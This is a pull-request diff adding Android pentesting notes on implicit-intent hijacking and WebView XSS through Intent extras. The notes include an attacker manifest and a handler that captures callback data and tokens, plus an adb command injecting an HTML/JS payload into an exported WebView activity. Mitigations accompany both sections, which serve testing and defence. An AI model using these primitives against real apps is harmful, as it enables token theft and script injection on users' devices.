Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
78 changes: 78 additions & 0 deletions src/mobile-pentesting/android-app-pentesting/intent-injection.md
Original file line number Diff line number Diff line change
Expand Up @@ -201,6 +201,82 @@ Mitigations (developer checklist)

---

## Intent Hijacking (implicit intents)

Threat model
- App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
- Attacker App C publishes an exported component with a matching `<intent-filter>` for the same `action`/`category`/`data`. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.

Minimal PoC manifest (attacker):
```xml
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
```
Handler skeleton:
```java
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
```

Notes
- Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
- This also applies to deep links (`VIEW` + `BROWSABLE`) when apps expect another app to handle a URL and return something back.

Pentest guidance
- Grep the target for `startActivity`/`startActivityForResult`/`registerForActivityResult` calls using non-explicit Intents.
- Inspect Intents carrying tokens in `extras`, `clipData`, or `getData()` and see whether a third-party could register a compatible filter.
- Recommend replacing implicit flows with explicit Intents (set `setPackage()`/`setComponent()`), or requiring caller-permission/signed permissions on exported receivers/services.

Mitigations
- Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
- When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
- Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).

---

## Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)

When you control the sender, add `Intent.FLAG_DEBUG_LOG_RESOLUTION` to an implicit Intent to make Android log how resolution happens and which component will be selected.

Example:
```java
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
```
What you’ll see in `adb logcat` is the resolution trace and the final component, e.g. `com.android.camera2/com.android.camera.CaptureActivity`.

CLI tip
```bash
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
```

This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.

---

## References

- [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
Expand All @@ -219,5 +295,7 @@ Mitigations (developer checklist)
- [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
- [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
- [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
- [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
- [Android Intent reference](https://developer.android.com/reference/android/content/Intent)

{{#include ../../banners/hacktricks-training.md}}
36 changes: 36 additions & 0 deletions src/mobile-pentesting/android-app-pentesting/webview-attacks.md
Original file line number Diff line number Diff line change
Expand Up @@ -383,6 +383,41 @@ xhr.open(
xhr.send(null)
```

## WebView XSS via Intent extras → loadData()

A frequent vulnerability is reading attacker-controlled data from an incoming `Intent` extra and injecting it directly into a WebView via `loadData()` with JavaScript enabled.

Vulnerable pattern (exported Activity reads extra and renders it as HTML):
```java
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");
```

If that Activity is exported (or reachable through an exported proxy), a malicious app can supply HTML/JS in the `data` extra to achieve reflected XSS:
```bash
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
```

Impact
- Arbitrary JS in the app’s WebView context: enumerate/use `@JavascriptInterface` bridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.

Mitigations
- Treat all Intent-derived inputs as untrusted. Escape (`Html.escapeHtml`) or reject HTML; prefer rendering untrusted text as text, not HTML.
- Keep JavaScript disabled unless strictly required; do not enable `WebChromeClient` for untrusted content.
- If you must render templated HTML, use `loadDataWithBaseURL()` with a safe base and CSP; separate trusted/untrusted WebViews.
- Avoid exposing the Activity externally or protect it with permissions when not needed.

Related
- See Intent-based primitives and redirection in: [Intent Injection](intent-injection.md)



## References

- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
Expand All @@ -393,6 +428,7 @@ xhr.send(null)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
- [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)

{{#include ../../banners/hacktricks-training.md}}

Expand Down